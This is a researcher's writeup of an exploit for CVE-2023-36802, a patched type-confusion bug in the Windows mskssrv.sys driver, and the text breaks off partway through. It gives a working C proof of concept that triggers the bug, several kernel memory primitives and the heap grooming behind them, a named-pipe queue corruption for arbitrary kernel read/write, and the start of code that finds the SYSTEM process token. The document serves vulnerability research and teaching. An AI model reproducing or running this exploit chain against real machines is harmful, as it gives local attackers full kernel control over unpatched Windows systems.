Old Bug, Harder Rules : Exploiting CVE-2023-36802 Without the Usual Shortcuts

Table of Contents

Introduction

There are already good writeups on CVE-2023-36802, a type confusion bug in Microsoft’s Streaming Service Proxy driver mskssrv.sys. Most of them were written before recent mitigations closed off the usual paths. This one was written after.

The bug was known. The patch was out. The writeups existed. My mentor Dang Nguyen (@MochiNishimiya) gave it to me anyway.

The constraint was simple: exploit it without relying on NtQuery* APIs1 for kernel address leaks or PreviousMode23 for arbitrary read/write. Build the exploit the way you’d have to build it today, under the mitigations that exist now, not the ones that existed when the bug was first disclosed.

This is a writeup of that journey. If you’ve read the existing writeups on this CVE, the bug analysis will be familiar. The exploitation path will be slightly different.

Patch Diff

  • OS: Windows 11 22H2
  • Binary: mskssrv.sys
  • Version diff: 22621.1848 (vulnerable sample) and 22621.2283 (patched sample)
- // FSRendezvousServer::FindObject (vulnerable)
+ // FSRendezvousServer::FindStreamObject (patched)

targetObject_1 = targetObject;
- server = this;
+ this_1 = this;
- if ( targetObject )
+ if ( targetObject && targetObject->TypeId == 2 )
{
-   if ( targetObject->TypeId == 1 )
-   {
-     contextListHead = &this->ContextList.ListHead;
-     contextFirst = (struct FSRendezvousServer *)this->ContextList.ListHead.Flink;
-     if ( contextFirst != (struct FSRendezvousServer *)&this->ContextList.ListHead )
-       this->ContextList.Iterator = contextFirst;
-     while ( 1 )
-     {
-       Iterator = (const struct FSRegObject **)server->ContextList.Iterator;
-       if ( !Iterator
-         || contextListHead->Flink == contextListHead
-         || Iterator == (const struct FSRegObject **)contextListHead )
-       {
-         break;
-       }
-       if ( Iterator != (const struct FSRegObject **)8 && Iterator[3] == targetObject_1 )
-         return 1;
-       FSRegObjectList::MoveNext(&server->ContextList);
-     }
-   }
-   else
-   {
    p_ListHead = &this->StreamList.ListHead;
-     streamFirst = (struct FSRendezvousServer *)this->StreamList.ListHead.Flink;
-     if ( streamFirst != (struct FSRendezvousServer *)&this->StreamList.ListHead )
+     Iterator_1 = (struct FSRendezvousServer *)this->StreamList.ListHead.Flink;
+     if ( Iterator_1 != (struct FSRendezvousServer *)&this->StreamList.ListHead )
      this->StreamList.Iterator = Iterator_1;
    while ( 1 )
    {
-       contextCurrent = (const struct FSRegObject **)server->StreamList.Iterator;
-       if ( !contextCurrent
+       Iterator = (const struct FSRegObject **)this_1->StreamList.Iterator;
+       if ( !Iterator
        || p_ListHead->Flink == p_ListHead
-         || contextCurrent == (const struct FSRegObject **)p_ListHead )
+         || Iterator == (const struct FSRegObject **)p_ListHead )
      {
        break;
      }
-       if ( contextCurrent != (const struct FSRegObject **)8 && contextCurrent[3] == targetObject_1 )
+       if ( Iterator != (const struct FSRegObject **)8 && Iterator[3] == targetObject_1 )
        return 1;
-       FSRegObjectList::MoveNext(&server->StreamList);
+       FSRegObjectList::MoveNext(&this_1->StreamList);
    }
-   }
}
return 0;

Bug Analysis

There are already several public writeups that cover this bug in detail.456 The exploitation paths there typically rely on IORING or PreviousMode. This writeup takes a different route.

Before the patch, FindObject could search both object lists. The patched version only accepts TypeId == 2, so an FSContextReg object (TypeId = 1) immediately fails validation. To understand why this matters, I started reversing the FSRegObject types.

Looking for initialization functions, I found two potential functions: FSRendezvousServer::InitializeStream and FSRendezvousServer::InitializeContext.

In FSRendezvousServer::InitializeStream, after allocating a pool chunk with tag SreG and size 0x1D8, it calls FSStreamReg::FSStreamReg to initialize an FSStreamReg object with TypeId = 2.

__int64 __fastcall FSRendezvousServer::InitializeStream(struct FSRendezvousServer *this, struct FS_IRP *irp)
{
  struct FS_DEVICE_IO_STACK_LOCATION *ioStack; // r14
  char isDuplicate; // r15
  _DWORD *inputBuffer; // rdi
  struct FSStreamReg *rawAlloc; // rax
  struct FSStreamReg *obj; // rsi
  void *regObjectList; // r8
  signed int status; // ebx
  struct FS_LIST_ENTRY *p_ListHead; // r9
  struct FSRendezvousServer *Iterator_1; // rax
  struct FS_LIST_ENTRY *Iterator; // rcx

  ioStack = irp->Tail.CurrentStackLocation;
  isDuplicate = 0;
  if ( ioStack->Parameters.IoControlCode != 0x2F0404 || ioStack->FileObject->FsContext2 )
  {
    return (unsigned int)-1073741808;
  }
  else
  {
    inputBuffer = irp->AssociatedIrp.MasterIrp;
    if ( inputBuffer
      && LODWORD(ioStack->Parameters.InputBufferLength) >= 0x30
      && *((_QWORD *)inputBuffer + 1)
      && (*inputBuffer & 1) != 0
      && (unsigned int)(inputBuffer[7] - 4) <= 0x74
      && (unsigned int)(inputBuffer[8] - 0x4000) <= 0x7C000
      && *((_QWORD *)inputBuffer + 2)
      && *((_QWORD *)inputBuffer + 5) )
    {
      rawAlloc = (struct FSStreamReg *)ExAllocatePoolWithTag((POOL_TYPE)1536, 0x1D8u, 'gerS');
      if ( rawAlloc && (obj = FSStreamReg::FSStreamReg(rawAlloc)) != 0 )
    ...
...
}
 
struct FSStreamReg *__fastcall FSStreamReg::FSStreamReg(struct FSStreamReg *this)
{
  this->RefCount = 1;
  this->Reserved1 = 0;
  this->InitProcess = 0;
  this->RegProcess = 0;
  *(_QWORD *)&this->State = 0;
  this->vftable = (struct FSRegObjectVtable *)&FSStreamReg::`vftable';
  this->OwnerList = this;
  this->TypeId = 2;
  this->ObjectSize = 472;
  ...
}

Checking FSRendezvousServer::InitializeContext, it also allocates a pool chunk, but with tag CreG and size 0x78, and initializes an FSContextReg with TypeId = 1.

__int64 __fastcall FSRendezvousServer::InitializeContext(struct FSRendezvousServer *this, struct FS_IRP *irp)
{
  struct FS_DEVICE_IO_STACK_LOCATION *ioStack; // r14
  char isDuplicate; // r15
  _QWORD *inputBuffer; // rsi
  struct FSRegObject *rawAlloc; // rax
  struct FSRegObject *rawAlloc_1; // rbx
  PEPROCESS currentProcess; // rax
  unsigned int status; // edi
  struct FS_LIST_ENTRY *p_ListHead; // rdi
  struct FSRendezvousServer *Iterator_1; // rax
  struct FS_LIST_ENTRY *Iterator; // rcx

  ioStack = irp->Tail.CurrentStackLocation;
  isDuplicate = 0;
  if ( ioStack->Parameters.IoControlCode != 0x2F0400 || ioStack->FileObject->FsContext2 )
    return (unsigned int)-1073741808;
  inputBuffer = irp->AssociatedIrp.MasterIrp;
  if ( !inputBuffer || LODWORD(ioStack->Parameters.InputBufferLength) < 0x20 )
    return (unsigned int)-1073741811;
  rawAlloc = (struct FSRegObject *)ExAllocatePoolWithTag((POOL_TYPE)1536, 0x78u, 'gerC');
  rawAlloc_1 = rawAlloc;
  if ( !rawAlloc )
    return (unsigned int)-1073741670;
  LODWORD(rawAlloc->Reserved1) = 0;
  HIDWORD(rawAlloc->Reserved1) = 0;
  rawAlloc->InitProcess = nullptr;
  rawAlloc->RegProcess = nullptr;
  *(_QWORD *)&rawAlloc->State = 0;
  rawAlloc[1].OwnerList = nullptr;
  rawAlloc->RefCount = 1;
  rawAlloc->OwnerList = rawAlloc;
  rawAlloc->TypeId = 1;
  rawAlloc->ObjectSize = 0x78;
  ...
}

The important difference for exploitation is that these two objects have different sizes and different TypeId values. Reversing SrvDispatchIoControl shows what actually happens.

IOCTL Code Handler Description
0x2F0400 InitializeContext Creates FSContextReg (TypeId=1, 0x78 bytes, tag CreG)
0x2F0404 InitializeStream Creates FSStreamReg (TypeId=2, 0x1D8 bytes, tag SreG)
0x2F0408 PublishTx Publish frames (producer side)
0x2F040C PublishRx Publish receive buffers (consumer side)
0x2F0410 ConsumeTx Consume produced frames
0x2F0414 ConsumeRx Consume receive buffers

All four handlers call FindObject to validate the object in FsContext2, then cast it to FSStreamReg and call the corresponding FSStreamReg::PublishTx/PublishRx/ConsumeTx/ConsumeRx method, which leads directly to OOB access.

FSStreamReg::PublishTx -> FSStreamReg::CheckRecycle

The patch fixes the type confusion by renaming FindObject to FindStreamObject and adding an explicit TypeId == 2 check. It now only accepts FSStreamReg objects and exclusively searches the StreamList, rejecting FSContextReg (TypeId=1) entirely. The ContextList search path was removed.

Triggering the bug

This is a PoC to trigger the bug by creating an FSContextReg object through FSRendezvousServer::InitializeContext with IoControlCode 0x2F0400. After that, triggering any of the four vulnerable functions FSStreamReg::PublishTx/PublishRx/ConsumeTx/ConsumeRx reaches the type confusion path.

#include <iostream>
#include <Windows.h>

#define DEVICE_NAME L"\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}"

#define IOCTL_PUBLISH_TX 0x2F0408
#define IOCTL_INIT_CONTEXT 0x2F0400

int main()
{
    HANDLE hDevice = CreateFileW(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Open failed: %lu\n", GetLastError());
        return 1;
    }

    char buf[0x100] = {0};
    *(uint32_t *)(buf + 0x00) = 1;                              /* Flags (bit 0 set) */
    *(uint64_t *)(buf + 0x08) = (uint64_t)GetCurrentProcessId(); /* ProcessId */
    *(uint64_t *)(buf + 0x10) = 0x4141414141414141ULL;          /* ContextKey */
    *(uint64_t *)(buf + 0x18) = 0;                              /* EventHandle = NULL */
    DWORD bytesReturned;

    // Initialize FSContextReg object
    if (!DeviceIoControl(hDevice, IOCTL_INIT_CONTEXT, buf, sizeof(buf), NULL, 0, &bytesReturned, NULL)) {
        printf("[-] Failed to send IOCTL_INIT_CONTEXT: %lu\n", GetLastError());
        CloseHandle(hDevice);
        return 1;
    }

    printf("[+] IOCTL_INIT_CONTEXT sent successfully!\n");

    memset(buf, 0, sizeof(buf));
    *(uint32_t *)(buf + 0x20) = 1;  /* Capacity */
    *(uint32_t *)(buf + 0x24) = 1;  /* Count */

    // Trigger vulnerable function
    if (DeviceIoControl(hDevice, IOCTL_PUBLISH_TX, buf, sizeof(buf), buf, sizeof(buf), &bytesReturned, NULL))
        printf("[+] PublishTX OK\n");
    CloseHandle(hDevice);
    return 0;
}

Current Primitives

Before going to the final exploitation path, we need to understand what primitives we have.

Leak

In the vulnerable function FSRendezvousServer::ConsumeTx, the stream object later gets copied to system_buff = irp->AssociatedIrp.SystemBuffer through the function FSStreamReg::GetStats.

__int64 __fastcall FSRendezvousServer::ConsumeTx(struct FSRendezvousServer *this, struct FS_IRP *irp)
{
  struct FS_DEVICE_IO_STACK_LOCATION *ioStack; // rbx
  unsigned int status; // ebx
  void *system_buff; // rdi
  unsigned __int64 outputBufferLength; // r8
  unsigned int capacity; // ecx
  struct FSRegObject *streamObj; // r14
  char objectFound; // bl
  __int64 v11; // rcx
  int v12; // eax

  ioStack = irp->Tail.CurrentStackLocation;
  if ( !ioStack->FileObject->FsContext2 )
    return (unsigned int)-1073741808;
  system_buff = irp->AssociatedIrp.SystemBuffer;
  ...
  objectFound = FSRendezvousServer::FindObject(this, streamObj);
  KeReleaseMutex((PRKMUTEX)&this->Mutex, 0);
  if ( objectFound )
  {
    ((void (__fastcall *)(struct FSRegObject *))streamObj->vftable->Lock)(streamObj);
    FSStreamReg::ConsumeTx((struct FSStreamReg *)streamObj, system_buff);
    FSStreamReg::GetStats((struct FSStreamReg *)streamObj, (char *)system_buff + 8); // leaking primitive
    ...
  }
...
}

...
    
void __fastcall FSStreamReg::GetStats(struct FSStreamReg *this, char *system_buff)
{
  if ( system_buff )
  {
    *(_QWORD *)system_buff = *(_QWORD *)this->PendingFrames.Pad3;
    *((_QWORD *)system_buff + 1) = *(_QWORD *)this->CompletedFrames.Pad3;
    *((_DWORD *)system_buff + 4) = this->PendingFrames.Count;
    *((_DWORD *)system_buff + 5) = this->CompletedFrames.Count;
  }
}

With this primitive, we can leak useful data from the OOB pool.

Arbitrary Decrement

Taking a look at FSStreamReg::PublishRx, I focused on ObfDereferenceObject. With carefully chosen data, this path can be turned into an arbitrary decrement primitive.

__int64 __fastcall FSStreamReg::PublishRx(struct FSStreamReg *this, void *frameInfo)
{
  unsigned int v2; // edi
  unsigned __int8 v5; // bl
  struct FSFrameMdlEntry **p_Flink; // r14
  unsigned int i; // r15d
  struct FSFrameMdlEntry *Iterator; // rcx
  int Field_C8; // ebx
  struct _KEVENT *EventObject; // rcx

  v2 = 0;
  v5 = 0;
  if ( frameInfo && *((_DWORD *)frameInfo + 8) )
  {
    p_Flink = &this->CompletedFrames.Flink;
    if ( *p_Flink == (struct FSFrameMdlEntry *)p_Flink )
    {
      return (unsigned int)STATUS_INVALID_DEVICE_REQUEST;
    }
    else
    {
      for ( i = 0; i < *((_DWORD *)frameInfo + 9); ++i )
      {
        if ( *p_Flink != (struct FSFrameMdlEntry *)p_Flink )
          this->CompletedFrames.Iterator = *p_Flink;
        while ( 1 )
        {
          Iterator = this->CompletedFrames.Iterator;
          if ( !Iterator
            || *p_Flink == (struct FSFrameMdlEntry *)p_Flink
            || Iterator == (struct FSFrameMdlEntry *)p_Flink )
          {
            break;
          }
          if ( Iterator->MatchId == (void *)*((_QWORD *)frameInfo + 17 * i + 6) )
          {
            Field_C8 = (int)Iterator->Field_C8;
            FSFrameMdl::UnmapPages(Iterator);
            if ( Field_C8 )
            {
              ObfDereferenceObject(this->InitProcess);
              ObfDereferenceObject(this->Reserved2); // arbitrary decrement
            }
            v5 = 1;
          }
          FSFrameMdlList::MoveNext(&this->CompletedFrames);
        }
      }
      if ( s_fsTraceEnable )
        DbgPrintEx(
          0x1Du,
          3u,
          "PublishRx(%d) stats[txsize:%I64d,rxsize:%I64d,txcount:%d,rxcount:%d]\n",
          v5,
          *(_QWORD *)this->PendingFrames.Pad3,
          *(_QWORD *)this->CompletedFrames.Pad3,
          this->PendingFrames.Count,
          this->CompletedFrames.Count);
      if ( v5 )
      {
        EventObject = (struct _KEVENT *)this->CompletedFrames.EventObject;
        if ( EventObject )
          KeSetEvent(EventObject, 0, 0); // avoiding crashing here
      }
    }
  }
  else
  {
    return 0xC000000D;
  }
  return v2;
}

However, to reach the code that calls ObfDereferenceObject, we still need to craft our data carefully. I allocate a usermode page to hold a fake FSFrameMdlEntry: a self-referencing linked-list entry that keeps PublishRx stuck in a loop in another thread without triggering KeSetEvent and crashing.

Arbitrary Write DWORD 2

In FSStreamReg::PublishRx, before it reaches ObfDereferenceObject (the decrement primitive above), there is a function FSFrameMdl::UnmapPages that can be abused to write a constant to a controlled destination.

if ( Iterator->MatchId == (void *)*((_QWORD *)frameInfo + 17 * i + 6) )
        {
        Field_C8 = (int)Iterator->Field_C8;
        FSFrameMdl::UnmapPages(Iterator); // write primitive
        if ( Field_C8 )
        {
            ObfDereferenceObject(this->InitProcess);
            ObfDereferenceObject(this->Reserved2); 
        }
        v5 = 1;
        }

We can control Iterator. At the end of this function, it writes 2 to LODWORD(this->Field_10), and we can control this this->Field_10.

void __fastcall FSFrameMdl::UnmapPages(struct FSFrameMdlEntry *this)
{
  void *MdlPtr1; // rcx
  struct _MDL *v3; // rdx
  void *MdlPtr2; // rcx
  struct _MDL *MappedVa1; // rdx
  __int64 v6; // rax

  MdlPtr1 = this->MdlPtr1;
  if ( MdlPtr1 )
  {
    v3 = *(struct _MDL **)&this->Pad2[64];
    if ( v3 )
    {
      MmUnmapLockedPages(MdlPtr1, v3);
      this->MdlPtr1 = nullptr;
    }
  }
  MdlPtr2 = this->MdlPtr2;
  if ( MdlPtr2 )
  {
    MappedVa1 = (struct _MDL *)this->MappedVa1;
    if ( MappedVa1 )
    {
      MmUnmapLockedPages(MdlPtr2, MappedVa1);
      this->MdlPtr2 = nullptr;
    }
  }
  if ( *(_QWORD *)this->Pad3 )
    *(_QWORD *)this->Pad3 = 0;
  v6 = *(_QWORD *)this->Pad2;
  if ( (v6 & 1) != 0 )
    *(_QWORD *)&this->Pad1[16] = 0;
  if ( (v6 & 0x20) != 0 )
    *(GUID *)&this->Pad1[16] = GUID_00000000_0000_0000_0000_000000000000;
  LODWORD(this->Field_C8) = 0;
  LODWORD(this->Field_10) = 2; // arbitrary write dword 2
}

Improving Primitive and Final Exploitation

Leaking useful information

Since I am not using NtQuery* APIs to leak kernel addresses, I first need to find a leak primitive for the later parts.

Looking back at the leak primitive, offsets 0x128, 0x138, 0x1a0, and 0x1b0 are where we can leak data.

PAGE:00000001C000B740 ; void __fastcall FSStreamReg::GetStats(struct FSStreamReg *this, char *system_buff)
PAGE:00000001C000B740 ?GetStats@FSStreamReg@@QEAAXPEAUFSQueueStats@@@Z proc near
PAGE:00000001C000B740                                         ; CODE XREF: FSRendezvousServer::ConsumeRx(_IRP *)+F6↑p
PAGE:00000001C000B740                                         ; FSRendezvousServer::ConsumeTx(_IRP *)+F0↑p ...
PAGE:00000001C000B740                 test    rdx, rdx
PAGE:00000001C000B743                 jz      short locret_1C000B76C
PAGE:00000001C000B745                 mov     rax, [rcx+138h]
PAGE:00000001C000B74C                 mov     [rdx], rax
PAGE:00000001C000B74F                 mov     rax, [rcx+1B0h]
PAGE:00000001C000B756                 mov     [rdx+8], rax
PAGE:00000001C000B75A                 mov     eax, [rcx+128h]
PAGE:00000001C000B760                 mov     [rdx+10h], eax
PAGE:00000001C000B763                 mov     eax, [rcx+1A0h]
PAGE:00000001C000B769                 mov     [rdx+14h], eax
PAGE:00000001C000B76C
PAGE:00000001C000B76C locret_1C000B76C:                       ; CODE XREF: FSStreamReg::GetStats(FSQueueStats *)+3↑j
PAGE:00000001C000B76C                 retn

Because the Creg object size is 0x78, it will be allocated from the 0x90 LFH bucket. That means the vulnerable object will only be adjacent to other 0x90-sized chunks in the same bucket.

I drew a graph to visualize what we can leak. After trying this for a while with proper heap grooming and spraying, I was able to achieve the desired heap layout and leak NpFr2->Flink.

Leak

After leaking NpFr2->Flink, we can also leak the next entry, &nextNpFr->Flink, as long as it belongs to the same CCB.

After leaking NpFr2->Flink, the next step is to corrupt it. With the primitives above, there are two possible ways to corrupt the leaked Flink: the DWORD 2 write primitive or the arbitrary decrement primitive.

Arbitrary Write DWORD 2

With the DWORD 2 write primitive, we need to control BaseAddress == BaseAddress_1 == 0 to avoid calling MmUnmapLockedPages; otherwise, it will crash.

0: kd> r
rax=0000000000000000 rbx=0000000000000001 rcx=ffffe60e25567e80
rdx=0000000000000000 rsi=ffffe60e2e987800 rdi=0000000000000000
rip=fffff8013835baa5 rsp=fffff9889778d4e0 rbp=ffffe60e2c257040
 r8=0000000000000001  r9=0000000000000001 r10=fffff80117862f40
r11=ffffffffffffffff r12=0000000000000000 r13=0000000000000000
r14=ffffe60e2e987988 r15=0000000000000000
iopl=0         nv up ei pl zr na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
MSKSSRV!FSStreamReg::PublishRx+0x99:
fffff801`3835baa5 e826efffff      call    MSKSSRV!FSFrameMdl::UnmapPages (fffff801`3835a9d0)
0: kd> !pool ffffe60e25567e80 + 0x10
Pool page ffffe60e25567e90 region is Unknown
 ffffe60e25567070 size:   90 previous size:    0  (Allocated)  NpFr Process: ffffe60e29a5e0c0
 ffffe60e25567100 size:   90 previous size:    0  (Allocated)  Core
 ffffe60e25567190 size:   90 previous size:    0  (Allocated)  Creg
 ffffe60e25567220 size:   90 previous size:    0  (Allocated)  NpFr Process: ffffe60e29a5e0c0
 ffffe60e255672b0 size:   90 previous size:    0  (Allocated)  BFmc
 ffffe60e25567340 size:   90 previous size:    0  (Allocated)  NpFr Process: ffffe60e29a5e0c0
 ffffe60e255673d0 size:   90 previous size:    0  (Allocated)  CSlo
 ffffe60e25567460 size:   90 previous size:    0  (Allocated)  NpFr Process: ffffe60e29a5e0c0
 ffffe60e255674f0 size:   90 previous size:    0  (Allocated)  W32l
 ffffe60e25567580 size:   90 previous size:    0  (Allocated)  Core
 ffffe60e25567610 size:   90 previous size:    0  (Allocated)  NpFr Process: ffffe60e29a5e0c0
 ffffe60e255676a0 size:   90 previous size:    0  (Allocated)  Core
 ffffe60e25567730 size:   90 previous size:    0  (Allocated)  Core
 ffffe60e255677c0 size:   90 previous size:    0  (Allocated)  Creg
 ffffe60e25567850 size:   90 previous size:    0  (Allocated)  Alep
 ffffe60e255678e0 size:   90 previous size:    0  (Free)       Creg
 ffffe60e25567970 size:   90 previous size:    0  (Allocated)  Creg
 ffffe60e25567a00 size:   90 previous size:    0  (Allocated)  Core
 ffffe60e25567a90 size:   90 previous size:    0  (Allocated)  NpFr Process: ffffe60e29a5e0c0
 ffffe60e25567b20 size:   90 previous size:    0  (Allocated)  NpFr Process: ffffe60e29a5e0c0
 ffffe60e25567bb0 size:   90 previous size:    0  (Allocated)  Core
 ffffe60e25567c40 size:   90 previous size:    0  (Allocated)  Core
 ffffe60e25567cd0 size:   90 previous size:    0  (Allocated)  NpFr Process: ffffe60e29a5e0c0
 ffffe60e25567d60 size:   90 previous size:    0  (Allocated)  NpFr Process: ffffe60e29a5e0c0
 ffffe60e25567df0 size:   90 previous size:    0  (Allocated)  Core
*ffffe60e25567e80 size:   90 previous size:    0  (Allocated) *NpFr Process: ffffe60e29a5e0c0
		Pooltag NpFr : DATA_ENTRY records (read/write buffers), Binary : npfs.sys
 ffffe60e25567f10 size:   90 previous size:    0  (Allocated)  Core
0: kd> t
MSKSSRV!FSFrameMdl::UnmapPages:
fffff801`3835a9d0 4053            push    rbx
3: kd> t
MSKSSRV!FSFrameMdl::UnmapPages+0x2:
fffff801`3835a9d2 4883ec20        sub     rsp,20h
2: kd>
MSKSSRV!FSFrameMdl::UnmapPages+0x6:
fffff801`3835a9d6 488bd9          mov     rbx,rcx
2: kd>
MSKSSRV!FSFrameMdl::UnmapPages+0x9:
fffff801`3835a9d9 488b89a8000000  mov     rcx,qword ptr [rcx+0A8h]
2: kd>
MSKSSRV!FSFrameMdl::UnmapPages+0x10:
fffff801`3835a9e0 4885c9          test    rcx,rcx
9: kd>
MSKSSRV!FSFrameMdl::UnmapPages+0x13:
fffff801`3835a9e3 7420            je      MSKSSRV!FSFrameMdl::UnmapPages+0x35 (fffff801`3835aa05)
9: kd>
MSKSSRV!FSFrameMdl::UnmapPages+0x15:
fffff801`3835a9e5 488b93a0000000  mov     rdx,qword ptr [rbx+0A0h]
9: kd>
MSKSSRV!FSFrameMdl::UnmapPages+0x1c:
fffff801`3835a9ec 4885d2          test    rdx,rdx
9: kd>
MSKSSRV!FSFrameMdl::UnmapPages+0x1f:
fffff801`3835a9ef 7414            je      MSKSSRV!FSFrameMdl::UnmapPages+0x35 (fffff801`3835aa05)
9: kd>
MSKSSRV!FSFrameMdl::UnmapPages+0x21:
fffff801`3835a9f1 4c8b15f8b6ffff  mov     r10,qword ptr [MSKSSRV!_imp_MmUnmapLockedPages (fffff801`383560f0)]
9: kd>
MSKSSRV!FSFrameMdl::UnmapPages+0x28:
fffff801`3835a9f8 e8b30254df      call    nt!MmUnmapLockedPages (fffff801`1789acb0)
9: kd> p
KDTARGET: Refreshing KD connection

*** Fatal System Error: 0x0000003b
                       (0x00000000C0000005,0xFFFFF8011789ACC0,0xFFFFF9889778CA20,0x0000000000000000)

WARNING: This break is not a step/trace completion.
The last command has been cleared to prevent
accidental continuation of this unrelated event.
Check the event, location and thread before resuming.
Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

For analysis of this file, run !analyze -v
nt!DbgBreakPointWithStatus:
fffff801`17a36260 cc              int     3

The offsets of those fields are 0xa8 and 0xb8.

BaseAddress = *(QWORD *)(this + 0xa8);
  if (BaseAddress) {
      Mdl = *(QWORD *)(this + 0xa0);
      if (Mdl)
          MmUnmapLockedPages(BaseAddress, Mdl);
  }

  BaseAddress_1 = *(QWORD *)(this + 0xb8);
  if (BaseAddress_1) {
      Mdl_1 = *(QWORD *)(this + 0xb0);
      if (Mdl_1)
          MmUnmapLockedPages(BaseAddress_1, Mdl_1);
  }

Let’s say our goal is to overwrite &NpFr->Flink. Because everything is in the same bucket, all chunks are 0x90. Take a look at the debugger again:

*ffffe60e25567e80 size:   90 previous size:    0  (Allocated) *NpFr Process: ffffe60e29a5e0c0
		Pooltag NpFr : DATA_ENTRY records (read/write buffers), Binary : npfs.sys
 ffffe60e25567f10 size:   90 previous size:    0  (Allocated)  Core

Offsets 0xa0 and 0xb0 reach out of ffffe60e25567e80 and land in the next chunk, which means:

chunk1
0x0 POOL_HEADER
0x10 DQE -> We have &Flink here
0x40 USER_DATA
0x90 -- end

chunk2
0x90 -- POOL_HEADER
0xa0 -- DQE -> offset 1
0xa8 -- DQE -> offset 2
0xb0 -- DQE -> offset 3
0xb8 -- DQE -> offset 4
0xd0 USERDATA

this+0xa0 = chunk2+0x10
this+0xa8 = chunk2+0x18
this+0xb0 = chunk2+0x20
this+0xb8 = chunk2+0x28

So we need to find an object where we can control the data after 0x10, and we still need to make overwrite_ptr - 0x10 == 0 so UnmapPages() is skipped; otherwise it will crash again.

-> If you spray an NPFS object of size 0x1000, it removes the POOL_HEADER.

So we spray a bunch of 0x1000-sized NPFS objects and make sure the previous chunk is zeroed.

However, while debugging with rcx = ffffe08cc54afff4 (&Flink - 0xc, to overwrite the first 4 bytes), the code also checks cmp [rcx+20h], rax. That lands in the middle of the IRP-related fields: SecurityContext = low32(SecurityContext) << 32 | high32(Irp), and we cannot control both fields cleanly. With &Flink - 0x10, which overwrites the last 4 bytes instead, it lands on a field where all 8 bytes are 0. That lets us overwrite the last 4 bytes of Flink with DWORD 2 successfully with current heap layout.

PAGE:00000001C000B9F8                 jz      short loc_1C000BA51
PAGE:00000001C000B9FA                 mov     eax, r15d
PAGE:00000001C000B9FD                 imul    rdx, rax, 88h
PAGE:00000001C000BA04                 mov     rax, [rdx+rbp+30h]
PAGE:00000001C000BA09                 cmp     [rcx+20h], rax -> checking here before reaching UnmapPages()
PAGE:00000001C000BA0D                 jnz     short loc_1C000BA43
PAGE:00000001C000BA0F                 mov     ebx, [rcx+0D0h]
PAGE:00000001C000BA15                 call    ?UnmapPages@FSFrameMdl@@QEAAXXZ 

Therefore, this write primitive is not reliable.

Arbitrary Decrement

As mentioned above, with the previous heap layout we cannot perform a full write primitive to corrupt the whole Flink pointer. However, we can still reuse the layout to leak &Flink and go further. The arbitrary decrement lets us decrement the value at &Flink + 1; in this layout, that moves the pointer backward by 0x100. With proper heap grooming, the new pointer lands in a controllable previous chunk where we placed a fake DQE. Since this path uses the arbitrary decrement, we need to trigger ObDereferenceObject. On my first try, that caused a BugCheck.

The root cause is in ObDereferenceObject at the mov rcx, [rsi-28h] line. It reads part of our crafted argument, effectively [&Flink + 9], and later reaches a refcount sanity check. If that value is not acceptable, it causes a BugCheck.

To bypass this, we need to keep byte [&Flink + 9] in a safe range.

The most stable way I found is to make the previous entry page-aligned, with the last three nibbles equal to 0.

However, with the previous heap layout, the previous entry would be a 0x90 NpFr. Therefore, we need a way to unlink that entry so the list points back to a 0x1000 entry instead. Luckily, CancelIoEx() reaches NpCancelDataQueueIrp(), which can unlink a pending IRP entry. By canceling the middle 0x90 NpFr1, we can make the leaked NpFr2->Blink become &NpFr0->Flink, which should be page-aligned (% 0x1000 == 0).

With all of that information, I came up with another heap layout.

CVE-2023-36802 (1)

With this layout, we can ensure that:

  1. We pass the bugcheck path in ObDereferenceObject because after unlinking, NpFr2->Blink == &NpFr0->Flink, which is page-aligned to 0x1000.
  2. After the arbitrary decrement, NpFr2->Flink must point to a controllable previous chunk. To do this, we spray many 0x1000 NpFr chunks, make holes first, and then perform the spray + leak layout. We also place the fake usermode DQE address in every 0x1000 NpFr at offset 0xed0, so the corrupted queue walk can reach our fake DQE.

Arbitrary Read/Write

At this point, NpFr2->Flink has been redirected into a controlled 0x1000 NpFr payload. The redirected slot contains a pointer to our fake usermode DQE, so when NPFS walks the queue it eventually reaches data that we control. Therefore, I just followed vp777’s technique7 to get arbitrary read/write

For arbitrary read, the redirected queue walk reaches our fake usermode DQE. We mark it as an unbuffered DQE and point its fake IRP AssociatedIrp.SystemBuffer to the kernel address we want to read. When PeekNamedPipe() processes the corrupted queue, NPFS treats that pointer as the data source and copies DataSize bytes into our user buffer.

The read primitive also lets us recover the real DQE and IRP addresses from the corrupted pipe. With those kernel addresses, we can prepare a kernel-side fake IRP and make NPFS complete it through IofCompleteRequest. The completion path performs the buffered I/O copy-back, so by controlling SystemBuffer, UserBuffer, and IoStatus.Information, we can turn that completion into the final arbitrary write primitive.

Finding _EPROCESS

After getting arbitrary read, the next useful target is the real IRP from the corrupted NPFS queue. We need this IRP for two reasons: first, it gives us a valid IRP template for the later write primitive, and second, it gives us a clean path to the current process object.

From the corrupted queue, we can read the NpFr2 DQE and leak its IRP pointer8:

NpFr2 DQE
    -> IRP

The interesting field is IRP->Tail.Overlay.Thread9. This points to the thread that issued the pending I/O request.

Once we have the ETHREAD, we can read the process pointer from the embedded KTHREAD. On Windows 11 22H2, _KTHREAD.Process is at offset 0x220.

IRP->Tail.Overlay.Thread
    -> ETHREAD / KTHREAD
       + 0x220 = _KTHREAD.Process

Because _EPROCESS starts with _KPROCESS at offset 0, this gives us the current _EPROCESS directly.

The full chain is:

NpFr2 DQE
    -> IRP
       -> IRP->Tail.Overlay.Thread
          -> ETHREAD
             -> KTHREAD.Process
                -> current EPROCESS

After leaking the current _EPROCESS, we walk ActiveProcessLinks until we find PID 4, which is the SYSTEM process. That gives us the SYSTEM _EPROCESS.

current EPROCESS
    -> ActiveProcessLinks
       -> ...
          -> SYSTEM EPROCESS (PID 4)
static int leak_eprocess(ULONG_PTR NpFr2Entry)
{
    ULONG_PTR irpAddress = 0;
    ULONG_PTR ethreadAddress = 0;
    ULONG_PTR currentPid = 0;
    BYTE irpData[0x100];

    if (arbitrary_read_qword(NpFr2Entry + DQE_IRP_OFFSET, &irpAddress) != 0 ||
        !IS_POOL_POINTER(irpAddress))
    {
